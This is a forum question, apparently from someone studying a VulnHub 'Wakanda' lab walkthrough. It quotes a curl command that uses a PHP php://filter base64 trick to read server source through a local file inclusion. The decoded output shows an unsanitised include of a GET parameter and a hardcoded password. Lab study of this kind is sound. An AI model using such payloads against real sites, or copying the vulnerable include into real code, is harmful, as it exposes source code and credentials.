Reading through the vulnhub walkthrough for wakanda here
https://medium.com/egghunter/wakanda-1-vulnhub-walkthrough-3d524ed8a372
And it uses a php filter i haven't seen before (base64 encoder) which is then decoded . Using this line of code
curl http://192.168.56.102/?lang=php://filter/convert.base64-encode/resource=index | head -n 1 | base64 -d
In comparison I tried to simply curl the page via
curl http://192.168.56.102/?lang=php
Both output the html , but the filtered code also produces several lines above the DOCTYPE header that is enclosed inside of a php tag. My question is why does this happen?
the significant output (first few lines) is below
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it
if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}
?>
<!DOCTYPE html>
<html lang="en"><head>
Obviously this is wrong, but it seems like the filtered code is: encoding , then decoding and somehow in that process getting more information than if we just curled everything